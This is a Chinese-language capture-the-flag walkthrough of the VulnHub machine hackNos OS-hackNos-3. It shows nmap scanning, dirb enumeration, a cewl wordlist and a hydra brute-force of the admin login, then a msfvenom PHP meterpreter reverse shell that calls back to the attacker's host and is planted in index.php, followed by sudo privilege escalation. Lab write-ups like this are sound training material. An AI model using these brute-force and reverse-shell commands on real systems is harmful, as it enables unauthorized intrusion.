01 环境搭建
- 靶机环境下载:https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/
- 题目信息如下,难度中等,需要获取俩个flag
Difficulty: Intermediate
Flag: 2 Flag first user And the second root
Learning: Web Application | Enumeration | Privilege Escalation
Web-site: www.hacknos.com
Contact-us : @rahul_gehlaut
This may work better with VirtualBox rather than VMware
02 信息收集
将靶机环境恢复到virtualbox
之后,开始第一步信息收集工作。
发现靶机
查看攻击机Kali的ip为192.168.56.1
(环境恢复时采用Host-Only Adapter)
使用nmap
扫描网段内的ip地址
nmap -sP 192.168.56.0/24
扫描发现的192.168.56.104
就是目标靶机的ip地址。
端口扫描
使用nmap
对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.56.104
发现目标靶机仅开放了两个tcp端口,22和80。
遍历目录
访问80端口,发现只有一个页面,没有其他信息。
使用dirb
命令,对靶机的目录进行遍历。
dirb http://192.168.56.104
只发现一个scripts
目录。访问http://192.168.56.104/scripts
未发现有用信息。百度后尝试访问http://192.168.56.104/websec
,又是一个页面,用dirb
遍历websec
下的内容。
03 爆破账户
遍历扫描的目录,发现一个登录页面http://192.168.56.104/websec/admin
(http://192.168.56.104/websec/login
也一样)。
需要一个Email作为用户名。在http://192.168.56.104/websec
中存在一个邮箱[email protected]
,尝试用该账户爆破密码。使用系统自带的字典无法爆破出密码。
使用cewl
爬取http://192.168.56.104/websec
页面,生成字典。
cewl http://192.168.56.104/websec -w pass
使用hydra
爆破密码。查看登录请求报文如下
登录失败时会返回提示信息Wrong email or password
。
执行命令,爆破密码为Securityx
。
hydra -l [email protected] -P pass 192.168.56.104 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V
密码爆破也可以用Burpsuite
的Intruder
。
04 webshell
通过账户[email protected]:Securityx
登录后台,可以管理web服务的文件。
使用msfvenom
生成一个php反弹shell的poc。
msfvenom -l payload |grep php|grep reverse |grep tcp
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=1234 -f raw > webshell.php
将生成的webshell写入index.php
中。进入msfconsole
监听本地1234
端口。
访问http://http://192.168.56.104/websec/
即可接收反弹shell。进入home
目录获得地一个flag
05 提权
反弹的webshell是www-data
用户。该账户没有sudo
配置,搜索带有SUID
程序也没发现可以利用提权的。
到此完全没有头绪,后来查看出题人的思路后,发现在/var/local
目录下有个database
文件,里面有个fackespreadsheet
的加密内容。
在http://www.spammimic.com/spreadsheet.php?action=decode中进行解密,获得结果Security@x@
。这个就是用户blackdevil
的密码,这得需要多大的脑洞-_-||。
切换到blackdevil
账户后,查询其sudo
配置,发现可以执行所有命令,从而获得第二个flag。